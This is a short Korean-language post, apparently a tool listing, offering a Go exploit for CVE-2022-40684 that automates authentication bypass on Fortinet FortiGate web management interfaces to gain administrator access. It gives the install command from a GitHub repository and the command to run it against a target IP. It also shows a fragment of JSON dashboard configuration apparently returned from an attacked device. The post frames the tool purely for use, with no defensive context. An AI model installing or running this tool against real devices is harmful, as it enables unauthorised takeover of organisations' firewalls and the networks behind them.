
Go 기반 CVE-2022-40684 익스플로잇으로 Fortinet FortiGate 장치를 대상으로 합니다. 웹 관리 인터페이스를 통해 인증 우회를 자동화하여 관리자 액세스 권한을 획득합니다.
CVE-2022-40684 익스플로잇
▶ go install github.com/gustavorobertux/gotigate@latest
▶ gotigate
TARGET> IP or youraddress.com
"height":1,
"interface":"",
"csf-device":"",
"table-visualization":"",
"device-list-online":"",
"device-list-telemetry":"",
"device-list-view-type":"",
"fabric-device":"",
"fabric-device-widget-name":"",
"fabric-device-widget-visualization-type":"",
"router-view-type":"staticdynamic",
"fsso-user-visibility":"disable",
"title":"",
"fortiview-type":"",
"fortiview-sort-by":"",
"fortiview-timeframe":"",
"fortiview-visualization":"",
"fortiview-device":"",
"fortiview-filters":[
...
감사 : @riramar !